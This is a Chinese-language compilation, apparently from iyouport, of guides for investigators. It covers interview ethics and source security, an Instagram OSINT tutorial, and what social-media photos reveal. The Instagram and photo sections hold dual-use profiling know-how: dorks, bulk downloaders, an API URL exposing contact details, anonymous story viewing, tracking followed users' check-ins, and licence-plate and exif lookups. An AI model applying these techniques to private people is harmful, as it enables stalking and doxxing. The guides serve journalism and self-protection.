没有办法消除这些风险，但您可以采取一些措施来控制损失。对与你合作的人透明地说明你正在做的事和来自敌对来源的打击风险。你可能无法完全保护你的联系人，但如果您认为他们有遭到报复的风险，就应该确保不与其他任何人讨论你与他们的互动。

你还应该保护自己不受可能的报复。让你信任的人知道面谈的时间和地点，以及如果你在某个时间没有联系上该怎么办。将所有关于你的其他消息来源和收集到的证据的信息放在安全的地方，并在选择采访地点时格外小心。

2、犯罪者

「图」

非常重要的是，您在采访犯罪者或被指控的犯罪者时，不要提出任何指控罪名。您必须允许他们解释自己的说法，然后再向他们提供与之相矛盾的信息，如果这对你的目的有利的话。

有时犯罪者也是创伤的幸存者，您应该在采访前考虑这一点。尽量从收集个人信息开始，比如他们的姓名、年龄、出生地、经历等，之后再问一些比较开放的问题。

例如，有些难民在逃离自己的国家之前可能已经犯下了罪行。例如，他们可能被迫参军，并被命令攻击他人。他们也可能在旅途中成为犯罪者，滥用人际关系和信任，参与性虐待或拉皮条。你必须非常小心

你的问题的措辞方式。避免听起来像是在评判。

尽量收集有关他们如何加入军队或游击队，或实施虐待的团伙的信息，谁是负责人，谁在发号施令，以避免他们觉得你好像在指责他们什么。

鼓励他们说话，可以保持一张扑克脸，或者低调地表现出您的知识或理解。像“你怎么会在那个村子里？”这样的问题可能比直接问“你想在那里做什么？”更有用。

📌 尽量确立事实，多做倾听而不是交谈。有些施暴者也是狂热的自恋者，如果他们觉得自己给你留下了深刻的印象，可能会愿意主动提供信息和炫耀。

💉 注：

「图」

一些消息人士希望与您展开争论。这通常是无效的。如果发生这种情况，应避免引导其进入这种状态。礼貌地点点头并返回您的任务。

访谈结束后

「图」

1、事实核查

「图」

即使您已经做了功课，并确信消息来源的可信度，您也应该始终确保他们提供的证据是准确、公正和可靠的。一定要对照其他来源收集的数据，包括进一步的采访或研究，检查受访者的说法是否准确。

受访者可能会提到某些事情作为诱饵，所以要保持警惕。如果感觉不对，就继续寻找，并根据需要进行反复检查和事实核对。

2、保持平衡

「图」

您的调查应该保持平衡，以保证调查的可靠性。这意味着，您必须避

免对个人和采访对象的偏见，以获得更广泛的视角。

但是，您展示证据的方式和您给予每一次采访的权重也是非常重要的。尽量准确地反驳言论。

例如，埃及政府在开罗的贫困地区粉刷建筑，而基础设施和其他服务却被忽视了。在这样的情况下，你可以平衡赞美这些措施的证词的积极影响和其他可以提供背景并揭露消极方面的证词。

3、评估需求，深思熟虑

「图」

您的调查就像一个拼图。即使您在每一步都进行了事实核对，当掌握了所有的信息、数据和陈述时，您依旧应该重新审视和思考早前的证据。

如果有必要，不要犹豫，回去找你的消息来源澄清，或者与能帮助你更好地理解你的证据的人取得联系。

您可以随时通过与新的和不同的受访者交谈来拓宽自己的视野。如果您有时间的话，让事情沉淀一段时间，然后用新的眼光来审视你的证据是很有用的。你可能会发现你以前没有看到的细节。

4、回应的权利

「图」

如果你的调查目的是为了发表一篇指控某人犯错的报道，他们有权对这些指控作出回应。

在一些国家，新闻机构和其他出版商有义务根据诽谤法给予当事人对其指控作出回应的权利。无论在您生活或工作的地方这是否是一项法律要求，这都是合乎道德的事。每个人都应该有机会对针对他们的公开指控作出回应。

一般来说，在您已经完成了项目的大部分工作之后，再去接近调查对象，提出您打算发表的任何指控，是最容易的。这也将使您有机会纠正任何以前可能有误解的地方。一个简单的方法是礼貌地建立联系，然后发送一份书面的问题清单，其中涉及到您调查中对他们的指控。

请考虑通知调查对象的时机和方式，以避免破坏您的调查或使您自己或您的消息来源处于危险之中。与您已经交谈过的人和向您提供证据的人可能会受到威胁，被迫否认他们以前的指控，或者要求你不要使用采访。

5、尊重您的消息来源和受访者的努力

「图」

考虑到您的消息来源和受访者为回答您的问题所付出的时间和努力，特别是在风险和/或资源有限的情况下，他们值得您感谢。

您可以通过做一些小事来感谢他们的努力，比如，如果发表了您的调查报告，可以给他们寄去副本或发送链接，或者当您下一次去他们的地区时与他们再次联系。这是建立消息来源网络的有用方法，有助于让您了解情况或提请您注意其他可能的调查。

6、保持联系

「图」

如果您打算在调查结束后与采访过的人保持联系，有几个注意事项要牢记。

我们已经讨论过这样一个事实，即向随机的人甚至向你的消息来源分发名片或提供太多个人细节，可能并不总是一个好主意。取决于消息来源是谁，拥有你的名片或你的联系方式可能会危及他们和/或你自己，从而危及你的整个调查。

确保他们明白，为了安全起见，为了他们自己的利益，保持安全的通信是很重要的，依靠加密的消息应用程序，只有当你有机会见面或建立安全的通信渠道时，才会透露新的和敏感的信息。

7、知道什么时候放手

「图」

有不同的原因，您可能不得不放弃您的调查。感到不堪重负是很自然的事情，正如我们之前所解释的那样，您的工作压力可能会在某些时候占据上风。此外，调查最终可能会显示没有充分理据，或者你无法收集到所有你需要的证据。仔细思考您的调查，将有助于您决定是否

需要放手。

🛡 安全！—— 如何避免在对话过程中留下数字印刷品：之前、期间和之后

「图」

有很多人会在整个采访过程中（以及整个调查过程中）留下数字痕迹，将您和被采访者联系起来。这些连接可以用来揭示你正在采访谁，何时采访他们，为什么采访他们，在最坏的情况下，甚至采访的内容都会暴露。

以下内容包括减少留下的数字指纹的一些方法。

初次接触的问题

「图」

一旦您确定并与消息来源建立了密切的联系，他们可能会对使用更安全的通信方式持开放态度。

这些联系方式无疑会留下较少的数字痕迹。

在你们联系的前几次，风险会更高。避免早期错误将您与消息来源或采访对象联系起来的方法之一是写出一些步骤和指南，说明人们可以如何安全地联系您。

可以从一些新闻机构的提示页中获取灵感，比如 The Intercept 的消息来源指南，纽约时报关于如何安全或匿名联系他们的指南，或者像 Barton Gellman 的联系技巧这样的记者简介。这些都提供了关于如何最好地与消息来源进行沟通的想法。

以下是在您与消息来源联系之前和联系过程中需要考虑的一些问题。

A 、之前：通话

「图」

在寻找采访对象时，打电话是很常见的。打电话时，可以尝试使用 VoIP 号码或与您自己没有关联的电话。

对于普通的电话和号码，您所拨打的号码和您的号码会被链接到一个通话记录中。这个日志存在于您的设备中，由提供服务的电信公司记录。这个通话记录会留下痕迹。任何能够访问呼叫者或接收者设备的人都可以看到链接双方的通话记录。

任何能够向电信公司证明他们是被呼叫的电话号码的所有者的人也可以获得通话记录。

地方当局、保安部队和政府也可以获得通话记录。

从一个不能与您直接联系的新号码拨打电话，可以避免将自己与通话记录中的号码联系起来。当期待来自潜在消息来源的电话时，给他们一个由VoIP服务生成的新号码，或者至少使用一张新的SIM卡而不是您的常规号码。

最好的办法是对自己的电话号码进行运营商和来电查询，看看是否能查到你的身份细节（就是对抗性思考方式）。

你还应该检查你的手机是否有语音信箱。不要在语音信箱的录音中留下您的个人资料和所属机构。

请记住，大多数语音信箱的密码都是3–4位数，很容易猜到。有人可以打电话给语音信箱服务提供商，输入一个邮箱（通常是您的电话号码），然后被要求输入密码，他们会猜到。密码的猜测往往是没有限制的，最终有决心的人就会进入你的语音信箱。

B、之前：在线交流

「图」

在调查采访对象和如何最好地联系他们时，互联网是一个很好的资源。然而，使用互联网会将您的电脑、您的位置、时间和日期等很多信息与您的搜索或网站访问联系起来。

例如，调查人员通常会对那些流量不大的专业性的或本地网页进行研究。在某个特定的日子里，您可能是某个不知名的组织结构图、董事会会议记录、公司员工简历、或详细的联系人名单的极少数访问者之一。您甚至可能是唯一的访客。该网站的管理员可以获得访问该网站的人的名单，这可以让他们跟踪你，并可能破坏你的调查。

VPN 是一个很好的选择，它不仅可以加密您的本地互联网流量，还可

以掩盖您的位置信息，比如您的IP地址和DNS，这些都是正常网络使用的一部分。使用浏览器进行研究有助于分隔和限制共享的数据。

在调查前夕及过程中您选择的浏览器不应该被用于其他任何工作和生活。推荐Tor浏览器，排在第二位的是火狐浏览器。即使您使用的是VPN，您可能会发现一些位置数据仍然来自您的浏览器（例如，谷歌搜索结果页面的底部栏可以显示你的位置）。

解决这个问题的办法是使用私密浏览或隐身模式。为了得到更多的保护，建议使用公共网络（不是您家或办公室的路由器）与您无关的网络。

当您在服务上创建任何账户时，建议您使用一个新的一次性电子邮件地址。您可以在 Tutanota.de 上最快速和最容易地生成一个电子邮件地址。另一个选择是 Protonmail.com。

在设置账户时使用一个长且随机的密码。可以考虑使用至少15个字符长的密码。密码管理器是一种应用程序和服务，可以快速为您生成强大的密码，并安全地存储所有密码的列表。

C、进行中：验证

「图」

如果您从来没有见过消息来源或采访对象，或者如果只见过几次面，建立一个回应系统可能是一个好主意。简单说就是暗号。

这可以是视觉上的 —— “穿黄色的衣服”，也可以是行动上的，比如“带一个魔方来”，或者是一个商定的问题和一个商定的答案。这可以作为一种微妙的验证形式。

D、期间：笔记、录音和文件

「图」

无论您是在安排一次采访还是一系列的采访，都有可能产生大量的数据。这些数据可以是手写笔记的形式，也可以是电脑上的文件。以电子方式加密这些数据，以便只有授权的访问是可能的。

加密手写笔记的最快方法是使用摄像机或智能手机对笔记进行录像。在一个光线充足的房间里，将摄像机放置在您的上方向下拍摄，或者

将其放在透明的玻璃表面向下拍摄。开始录制。将笔记放在相机前，等待一秒钟，然后再放上另一组笔记。观看视频：它的时间线现在应该包含所有的书面笔记。

对时间轴中每个笔记的位置进行编目，然后对视频和时间轴文件进行加密。对于电子文件和文件夹，直接加密数据。可以使用 Veracrypt 或 Cryptomator。Veracrypt 有更多的功能，但许多人发现 Cryptomator 更容易使用。

E、之后：发送和接收大量数据

「图」

工作完成后，您可能需要发送数据以与他人协作或保管。为了安全起见，以下是一些方法：

1、您可以使用 OnionShare 从计算机发送或接收文件。可以在 OnionShare 中创建一个只能在Tor浏览器中访问的网络链接。该链接将访问者带到一个页面，他们可以下载或上传文件。只要您的电脑和他们的电脑同时在线，就可以进行数据传输。

2、SEND by Tresorit 允许您发送最多5GB的文件到云服务器上，供您自己或他人取用。文件在自动删除前会持续48小时。强烈建议您在压缩文件和文件夹并将其上传到云端之前，先用 Veracrypt 或 Cryptomator 将其加密。SEND by Tresorit 允许对方在下载文件时通过电子邮件通知您，还可以选择在下载文件的链接上设置密码。

3、SEND by Firefox 允许您发送最多2.5GB的文件到云端服务器，供自己或他人取用。文件会在30天后自动删除。强烈建议您在压缩和上传之前，使用 Veracrypt 或 Cryptomator 对文件和文件夹进行加密。

F、网络

「图」

有几个地方、区域和全球组织专注于调查和支持调查人员，包括公民调查员。如果您觉得自己或您的工作受到损害、有危险，您需要关于如何进行调查的建议，或者您想了解如何维护自己的安全，这些组织可能会有帮助。

- Committee to Protect Journalists (CPJ)

- A Culture Of Safety Alliance (ACOS)
- Global Investigative Journalism Network (GIJN)
- Media Legal Defense Initiative (MLDI)
- Reporters without Borders (RSF)
- Electronic Frontier Foundation (EFF)
- International Consortium of Investigative Journalists (ICIJ).

Interviews: the Human Element of Your Investigation

原文

在最难搜索的地方：解剖 Instagram 用户 - iyouport

开源情报-每个人都可用的武器

【2020年11月20日存档】提供一些工具以协助您的调查工作

Instagram 难以搜索的特点给开源情报调查设置了很多障碍。osintcurio 介绍了一些方法和工具，以帮助调查人员获得更多信息。

在开始之前

「图」

虽然没有必要为了在 Instagram 上做调查而注册有一个 Instagram 账户，方法在下面；但无论何时您想关注某些标签或个人资料时，有账户会更容易。

- 《如何无需帐户即可匿名查看Instagram帖子》
- 做一个匿名账户专用于调查，见这里

可以通过手机应用创建账户，也可以使用网站创建。对于下面即将展示的大部分内容，您都不需要登录账户。如果哪个方面您需要登录，本文会在截图的左上方显示蓝色的 “登录” 小按钮。

搜索栏

「图」

只要随便访问任何一个 Instagram 个人资料，就能在上面找到搜索栏。您不需要为此而登录。

「图」

instagram.com/search

搜人

「图」

在 Instagram 上搜人可能并不像看起来那么有效率。而谷歌、或任何其他搜索引擎都比它效率更高。以扎克伯格为例，使用 Google Dorks，这样 ‘site:Instagram.com “mark zuckerberg”。

「图」

左：Instagram中的搜索结果；右：谷歌中的搜索结果

还有很多网站为您提供了在 Instagram 上搜索内容的可能性。Picdeer.com 就是众多为您提供搜索用户选项的网站之一。

这可以使您的操作更容易一些，因为标签和用户不会像 Instagram.com 那样在搜索结果中被混在一起。现在您会看到左手边的标签列表和右手边的用户。

同样，还有更多这样的网站； pictame.com、sometag.com 都是。

「图」

在Picdeer.com上的搜索结果

如果您正在寻找某种类型的用户，比方说属于某个团体或信奉某种宗教的人，那么搜索目标人的简历中的关键词可能会很有趣。Searchmy.bio 就能帮您做到这一点。

您可以根据 ‘最多关注者’ 或 ‘最相关的人’ 进行排序，选择结果中关注者的最低或最高数量，也选择包含主题标签。Searchmy.bio

当您找到了您感兴趣的个人资料时，就可以开始使用一些有用的附加组件了。

从 “Helpertools for Instagram”开始，这是一个谷歌浏览器插件。

在下面的例子中使用的是马克·扎克伯格的个人资料，@zuck。‘Helptools for Instagram’ 是一个部分免费的插件。有几个选项真的很不错，您可以将两个个人资料相比较。

根据关注/追随者的数量不同，有时可能需要一段时间。这是因为

Helpertools 设置了“暂停”，以防止 Instagram 检测到该工具。

这里有一个小选项值得关注，可能一开始不会引起您的注意；“商业账户”。

在扎克伯格的案例中，它被标记为 “false”，这意味着他不是商业账户。

拥有一个 ‘商业账户’ 和 ‘已验证’ 账户是不同的。把您的个人资料改成 ‘商业’ 是您自己就可以更改的设置。Instagram 不会验证任何信息。‘Helpertools for Instagram’ 的结果

扎克伯格的账户不是商业账户。所以来看另一个是商业账户的例子：荷兰当地一家奶酪店的账户；看它的简介；您能看到任何联系方式吗？没有!没有显示联系方式

检查一下 Helpertools，看看它是否是商业帐户…

「图」

是的，它是商业账户。

甚至可以看到他们把自己的资料放在哪个类别中。而且还有更多!

要查看更多信息，您现在需要创建一个档案或登录到您的档案。在手机上（或良好的模拟器上）登陆互联网。

这里使用的是安卓应用。

访问该奶酪店的简介，您现在会看到个人资料下面的一些按钮。其中一个是 “联系”。如果点击 “联系”，会出现一个弹出式窗口，并向您展示与简介相关的任何联系信息（由店主填写）。所以，现在我们看到了一个以前看不到的电子邮件地址。

并且还有另一个 “呼叫” 按钮（Bellen），它将为您显示电话号码。

请记得，仅通过网站查看个人资料时，您会错过此信息。1、移动应用程序登入；2、选‘Contact’；3、查看电话号码，或电子邮件地址

如果您想对一个个人资料进行分析，statflux.com 也许能帮到您。它将向您展示一些细节，您能够找到的个人资料，但它也会给您在一些其他细节上的洞见，如最多点赞和最多评论等。

在查看包含大量帖子的个人资料时，您会不知道哪个帖子可能对您来说很有趣，Statflux.com 可以为您提供帮助。在Statflux.com 上以扎克伯格为例

放大个人资料图片并下载帐户照片

「图」

Instagram 有一个被裁剪的个人资料照片（圆形）。但有时您想拥有完整的照片，因为这将提供关于照片后面发生的事或可能还有谁在照片中的更多细节。

插件 “DownAlbum” 可以帮您做到这一点。它不仅可以帮助您在 Instagram 上使用，还可以在 **Facebook**、**Pinterest**、**Twitter**、**Ask.fm** 和中国的微博上使用。DownAlbum 可以帮助您轻松地放大个人资料图片。

安装后，在资料图片下方会出现一个按钮 “下载照片”。点击链接后会打开一个新的页面，显示出更大的个人资料图片，您可以用它来进一步调查。‘DownAlbum’的例子

DownAlbum 也为您提供了下载照片的选项。单击照片即可，这将打开一个新页面，向您展示稍大的照片。只需右键单击并保存照片。

另一个可选的网站是 ‘instasave.io’，输入您感兴趣的个人资料的用户名，点击每张照片下面的 ‘下载’ 按钮，就可以保存照片。

您想下载一个账户上所有可能的照片吗？有一款名为 ‘Downloader for Instagram ＋ Direct Message’ 的谷歌浏览器插件可以批量下载照片。

安装插件后，您会在右上角看到一个按钮。

选择最右边的按钮，以下载完整的个人资料。确保已经完全加载页面，以便下载所有内容。正如您在这个例子中看到的，扎克伯格有141个帖子，但该工具显示只有24个。如果您完全加载页面就能下载所有的照片。您可以自定义范围。

另外：别忘了 Instagram 上的 “Tagged” 部分，这确实需要您登录，但有时其他图片可以带来很大的启示。Downloader for Instagram ＋ Direct Message

Instagram Stories

「图」

Instagram Stories 是类似 Snapchat 的短视频或照片。您可以通过查看个人资料图片来识别个人资料是否包含故事。如果周围有一个彩色圆圈，则表明该个人资料包含故事。扎克伯格没有“story”，BBC有

有时，个人资料会对那些突出显示的故事进行分类。您会在简介下方看到这些故事。 单击类别以查看。

对 Stories 进行查找

「图」

仅当故事标记有位置或主题标签时，才可以搜索。

该网站为您提供了一个搜索故事的机会，如果您在网站顶部搜索栏中搜索一个标签或地点，会看到一张圆形照片，周围有彩色的圆圈。点击照片，就可以看到与该特定标签或地点相匹配的故事。在Instagram上搜索结果

使用 Google Chrome 插件 Downloader for Instagram 搜索故事要容易一些。

安装后，您会在右上角看到一个小图标。点击该标志以打开一个新的页面，在那里您会看到菜单，如截图所示；搜索了 “阿姆斯特丹” 这个标签，并选择了有小旗子的那个。使用“ Downloader for Instagram”的搜索结果

点击黑色小眼睛图标可立即看到故事。

通过使用箭头（左右键），您可以在故事之间切换。上传故事的用户显示在左侧（在截图中以蓝色遮盖的部分）而且非常有帮助； 该插件也为您提供了仅下载与主题标签相关的一个或所有故事的机会（左上角）。

搜索关键词

「图」

如果您不是在寻找标签，只是寻找一般使用的词语，Instagram 可能不是最好的搜索地点，正如您在下面左边的截图中看到的那样。

谷歌、或任何其他搜索引擎都会更好，对于谷歌来说，使用运算符。

比如这样 *Inurl:instagram.com/p/ “keyword”*（用您喜欢的任何关键字替换“*keyword*”）。在示例中选择的是 “diner time”。左：在Instagram中搜索关键字；右：在Google中搜索关键字

现在您看到，其中一个结果中包含了这个关键词。Diner time 并不是作为一个标签使用的，所以如果您在 Instagram 搜索栏中搜索这些关键词，就不会找到这个结果。

「图」

Google搜索结果

搜主题标签

「图」

当您选择了一个结果，在这种情况下，一个标签，确保不只是检查到前几个照片。这些将是 “Tops”（最受欢迎的）照片，并不总是给您您要找的东西。相反您应该向下滚动查看 “Most Recent”。

专门搜索主题标签时别忘了加上 #。

当然，有很多网站可以帮助您搜索 Instagram 使用的主题标签。像 pictame.com 和 hashatit.com 这样的网站只是其中的一些。在Instagram上搜索主题标签，向下滚动到 ‘Most recent’

跟踪主题标签

「图」

当您找到了一个特定的标签、并想了解最新情况时，一定要登录并按“关注”，以便关注与该特定标签相关的帖子。如何在Instagram上跟随目标主题标签

下载主题标签

「图」

使用 Google Chrome 插件 “ Downloader for Instagram” 时，下载主题标签非常容易。

将页面加载到所需的程度，然后使用插件下载链接到主题标签的帖子。使用‘Downloader for Instagram’ 下载带有主题标签的帖子

搜索位置

「图」

可以通过网站顶部的搜索栏来搜索位置。您可以通过 “drop” 图标识别位置。

选择一个位置，以查看从该位置发布的故事以及从该位置发布的其他帖子。

请注意：您不一定要亲自到那个地点。您可以选择任何您喜欢的地点。所以一张站在阿姆斯特丹中央车站前的照片，可以有纽约时代广场的位置，只是因为您告诉 Instagram 照片是在那里拍摄的。如果您想在照片上添加位置，需要让 Instagram 允许您的位置数据。
Instagram上的位置搜索结果

国家列表如下所示。选择您感兴趣的国家和城市。筛选国家和城市，以查看特定城市的位置

搜索标记到某个位置的旧帖子

「图」

有一个视频讲述了如何找到某个地点的 Instagram 帖子：

Python脚本：https://repl.it/repls/FormalYellowgreenLinux

向下滚动到 ‘Most recent’ 以查看较旧的帖子。

「图」

左图是*2011*年*8*月*27*日的照片，但在 *‘Most recent’* 部分中显示为第一个结果

无需工具即可搜索商业帐户的联系方式

「图」

方法：

- 确保在网络浏览器中登录到您的 Instagram 帐户，该账户应该为调查所用，与您的真实身份不应存在任何联系；
- 访问您感兴趣的帐户，并检查该帐户是否为商业帐户。您可以使用 Helper Tools 工具进行检查，但也可以通过继续以下步骤试试运气；
- 现在需要检索 Instagram 用户ID。您可以通过右键单击空白位置选择 “查看页面源码”（或使用 Ctrl ＋ U，在大多数浏览器中都可以使用）；
- 使用 Ctrl ＋ F 搜索 profilePage _（“ profilePage_” 后面的数字是您需要复制的数字；

「图」

- 现在打开一个新标签并粘贴以下 URL。将 “ID” 替换为您在感兴趣的页面上找到的ID号。
- https://i.instagram.com/api/v1/users/**ID**/info/

(e.g. *https://i.instagram.com/api/v1/users/1034466/info*)

现在您就可以查看该商业帐户已填写的信息了。

以星巴克为例，结果将如下所示：您会看到“ is_business”设置为 TRUE，并且可以看到电子邮件地址和电话号码

在联系方式旁边还可以收集到很多其他有趣的东西，比如 ‘instagram_location_id’。如果您复制这个数字，并把它放在 **‘facebook.com’** 后面 **(facebook.com/22092443056)**，它就会显示星巴克的 **facebook** 账号。

其他可能有趣的东西包括关注的人/粉丝的确切数量等等。您可以自己试试。

搜索已被删除的 Instagram 内容

「图」

您一定知道，在线内容的删除速度可以与上传一样快。因此，搜索任何已删除的内容的技巧都非常重要。

- 您可以在这里看到相关的综合性手册 《如何快速找到你想要的东西：追踪数字证据的小技巧》

如上面文章所述，Archive.org 是一个很好的资源，以 DJ Hardwell 的 Instagram 资料为例（点击这里查看已存档的资料，点击这里查看当前的资料），来查找 Instagram 的旧帖子。

「图」

左：Archive.org 右：Instagram.com/hardwell

再有，当研究任何名人的时候，有很大的可能性会遇到其他的模仿名人的账号。例如；有多个真人秀明星卡戴珊的账号，他们在 Instagram 上转发她的一切，或者将她在 Snapchat 上发布的所有内容都发布在 Instagram 账号上。

通过查看这些“粉丝帐户”，您也许可以找到可能原账户中已经被删除的所有数据。

搜索已删除内容的另一种方法是使用 Google。

您可能知道有很多不同的网站也会将 Instagram 的帖子来显示在他们的网站上。通过使用谷歌Dorks，您可以找到使用 Instagram 帖子的网站，也许能找到一些被删除的内容。

比如这样：*-site:instagram.com instagram keyword -twitter*

-site:instagram.com ＝ 排除此网站的任何结果

instagram ＝ 专注于 instagram 帖子

keyword ＝ 用您想要的关键字和用户名来替换这个位置

-twitter ＝ 排除推特，因为推特在此有很多误报

例如：*-site:instagram.com instagram hardwell -twitter*Example: -site:instagram.com instagram hardwell -twitter

或者您可以尝试设置一个网络监控工具来检测网站的变化。这种工具

可以捕捉到页面上的任何变化，这样您就不会错过任何更新的帖子。

在 Twitter 上搜索 Instagram 的内容

「图」

查找您可能感兴趣的人的 Instagram 帐户或与特定主题相关的任何帖子的另一种方法是通过 Twitter。

首先，您不需要 Twitter 的账户就可以搜索 Twitter。只需导航到 Twitter.com/explore，使用其顶部的搜索栏。

要搜索 Instagram 内容，请使用以下搜索查询：

instagram.com/p 将显示包含 “instagram.com/p” 的推文；

source:Instagram party 将在 Instagram 帖子中显示包含 “party” 一词的推文。将 “party” 一词更改为您要查找的任何内容；

instagram filter:links 包含网址和单词 “Instagram” 的推文。

执行这些查询时，请确保切换到 “最新” 推文以查看最新帖子。

- 不要错过，一些很好玩的技巧《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》
- 工具介绍《深挖推特：提供技巧、工具和平台》
- 以及《社交网站上进行新闻收集和监视的基本指南》

比如您可以更精确地搜索：instagram.com/p near:Amsterdam within:15mi

「图」

不要忘记选择“最新”以查看最新帖子

搜索标记到某个位置的较旧照片

「图」

OSINT Combine 现在可帮助您查找标记到 Instagram 位置的旧照片（单击此处）。

OSINT Combine 的工作原理非常简单，只需粘贴任何给定 Instagram 位置的 URL，并调整日期。点击绿色的搜索图标进行搜索，向下滚动到 “最近的” 部分，就可以了。

请注意，Instagram 于2011年8月24日上线，您不会找到该日期之前的任何帖子。1、在Instagram上搜索您要的位置，选择位置并复制URL；2、在“查找照片”框中粘贴所选的网址，选择一个日期，然后点击绿色按钮；3、在 Instagram 中向下滚动至“Most recent”以查看所选日期的照片

仅搜索 Instagram 视频的内容

「图」

如果您只搜索用特定标签分享的视频，可以使用 skimagram.com。

只需输入您要找的标签，然后选择（右边下图红框所示）是要找视频还是帖子。选择视频图标，才能只搜索视频。

请注意：这将只搜索视频，不搜索 Instagram Stories。

「图」

搜索多个主题标签

「图」

Instagram.com 并不能让您轻松搜索多个标签。而这可能是您需要做的事以便缩小调查的相关结果。虽然还没有碰到专门为此而设计的搜索引擎，但谷歌可以在这段时间内帮您做到。

使用下面的谷歌Dorks，以便搜索多个标签。

「图」

由于某些原因，是否将标签放在引号内会得到不同的结果。所以请确保您同时尝试这两种方法，以100% 确保您搜索到了所有可能的选项。而且您可以根据自己的需要来扩展这个功能。

如果您不确定一个标签是如何拼写的，或者想知道是否有包含更多单词的标签，请查看 Keywordtool.io/instagram。Keywordtool 让您可

以只搜索标签的前几个字母，它会完成尽可能多的可能选项。它还会指出有多少帖子可以找到该特定标签。

一个额外的好处是，您还可以搜索谷歌、YouTube、Bing、亚马逊、eBay、Play Store 和 Twitter。keywordtool.io/instagram 的示例

在 Instagram 帖子中搜索关键字

「图」

mulpix.com/instagram 这个工具为您提供了在帖子和视频之间过滤的选项。它还提供了一些关于使用的关键词的统计。mulpix.com/instagram 的示例

匿名查看 stories

「图」

想匿名查看公开的故事吗？使用 stalker-stories.com 可以做到，而无需登录 Instagram 帐户。

额外的好处是该网站还允许您下载故事。Stalkerstories.com

跟踪您 “关注” 的人

「图」

The Wired 写了一篇文章，介绍了这款非常有趣的应用，名为 “Who’s In Town”。

- 在这里看到《此应用程序让您的 Instagram 粉丝跟踪您的位置》

这款应用可以让您连接到 Instagram 账户，这样就可以看到您关注的人在哪里登入了。

在地图上，您可以看到他们去了哪里 (这可能包括他们住的地方、工作地点、吃饭的地方、锻炼的地方等)。

如果您有一个专门用来调查的匿名账户、关注一个特定类型的人，这可以给您一个非常好的洞察力，关于他们可能会去哪里，他们可能喜

欢什么。

‘Who’s in Town?’ 适合iOS和安卓，在这里下载。Whosintown.app

了解您关注的人/粉丝最活跃的时间

「图」

比方说，您有一个有很多粉丝的研究资料（必须超过100个），您有兴趣知道他们中谁可能是最活跃的。也许是因为您可以为他们量身定做帖子，或者，您可以更多了解关于您的目标群体，这对活动家来说就很有用。

在这种情况下，您可以考虑将您的 Instagram 账户切换到 “商业” 账户。这是您可以自己做的一个选项，不需要 Instagram 的许可。

以下是您如何在您的个人资料中开启它（注意：只有通过手机应用才能实现）。# 在移动应用程序中打开您的 Instagram 帐户

- 单击右下角的应用程序中的小人儿图标
- 选择右上角的三条线菜单
- 选择 “设置”
- 选择 “帐户”
- 选择 “切换到商业账户”

现在您会被要求提供一些联系细节，如您的电子邮件地址、电话号码、或地理位置。这是为了让您的客户可以联系您 —— 要知道，这也意味着查看您个人资料的人，可以认出您是一个商业账户。

如果您有一百个或更多的关注者，则可以看 Insights。Insights 是对您的关注者的分析。您可以了解到您的追随者何时活跃，他们的性别、他们的年龄、以及更多。

特定 Instagram 个人资料的统计信息

「图」

Stalkture.com 可以向你展示更多的数据。下面是扎克伯格个人资料的统计数据：Stalkture.com/a/zuck/314216 的示例

向下滚动时，您不仅会看到排名统计信息，还会看到各种过滤器，如

最受欢迎的/被评论的/被点赞的帖子等等。〇

Searching Instagram

原文

在社交媒体照片的背景中发现微妙的信息 - - 开源情报攻防技巧 - iyouport

开源情报-每个人都可用的武器

【2020年7月21日存档】以及如何更好地保护自己免受意外泄露个人信息的侵害。

事实上我们已经演示过这种方法。还记得去年的《好玩的间谍挑战》吗？起底一个法国的加密货币骗局，居然在其中挖出了疑似中国网络军队的成员。其中多处使用了这个方法。

对于黑客来说，社交媒体的兴起是历史上最重要的技术进步之一。Facebook、Twitter、Instagram 和其他社交媒体平台使访问个人和企业信息变得异常地容易。

大多数人都已经意识到在线发布个人信息的危险。

凤凰城大学2016年的一项研究显示，有84%的美国成年人拥有至少一个社交媒体帐户，“随着社交媒体的知名度不断提高，捕食社交媒体的犯罪分子的数量也在急剧增加。”

同一份调查还显示：“拥有个人社交媒体资料的美国成年人中，有近三分之二的人表示，他们知道自己的帐户已被黑客入侵，并且有86%的人同意，由于担心黑客会访问自己的私密信息，他们限制了自己发布的内容。 ”

但是，许多人忽略了在社交媒体上无意中泄漏的敏感个人信息的危险性。对于图像，尤其如此。

☞黑客可以使用多种方法来窃取您的个人信息，而且这些方法通常是复杂的攻击，任何人都很难防范。但是社交媒体上大量的个人信息吸引了一种新型的黑客。

这种新型的黑客与精通技术的网络犯罪分子看起来更像是情报分析师、或坚定的跟踪者。并且，甚至能全程合法。

作者 Casey Botticello 曾在开源情报领域从事政治反对派安全研究和在线声誉管理顾问的工作。他使用公开照片（大部分来自社交媒体）发现的信息量令人震惊。《Subtle Information Hackers Find in the Background of Your Social Media Photos》

- 不要错过《你不应该在社交媒体上说的话》

以下是人们不小心在社交媒体上泄露个人信息的一些最常见形式：

各种汽车

「图」

人们喜欢在社交媒体上发布自己汽车的照片。特别是新车：

☞发布您的汽车照片的问题在于，您会立即暴露出大量个人信息——如果照片中出现了车牌，那么就可以轻松追踪到车主。

大多数地方都允许您向本地 DMV 提交信息记录请求。其中包含有关车辆登记的信息，以及公开记录的任何机动车定罪和公开事故报告。

通常需要填写一张表格，并且您必须签名，以便证明提供“允许使用”的信息。

☞追踪者一般不会使用这种方法，以避免留下记录。他们会访问各种类型的体面的公共数据聚合数据库，同样可以使用车牌确定车主身份，比如这些：

- Make/Model of Car
- Vehicle Identification Number (VIN)
- Owner’s Name
- Owner’s Address

「图」

办公室员工

「图」

1、证件

实习生和新员工经常使用 #WorkLife，#Intern，#IDBadge 和

#FirstDayofWork 等标签发布自己的证件。

下面这个只是在社交媒体上被公开发布的十万个胸牌之一。您看到它有多危险了？

2、公司的敏感信息

为了展示自己的作品并营造一种真实感，人们喜欢张贴办公桌的照片，其中包含敏感信息，甚至密码！

3、个人信息

☞尽管下面这个帖子未显示任何密码，但确实显示了足够的信息，允许恶意者使用社交工程伎俩以冒充此人，或者有可能创建有针对性的网络钓鱼活动。

- 《钓鱼攻击利用的是什么？你是如何上当受骗的？》

位置资料

「图」

大多数现代智能手机都存储图像文件中的exif数据。这些数据可以告诉您用于拍摄照片的设备是什么、相机的快门速度和镜头类型、拍摄照片的日期和时间，有时甚至可以以 GPS坐标的形式显示其位置。

在 Windows 中，您要做的就是右键单击图片文件，选择“属性”，然后在属性窗口中单击“详细信息”。在GPS下查找纬度和经度坐标。

- 不要错过《如何从 Microsoft Office 文档中完全删除那些暴露你身份的元数据？》

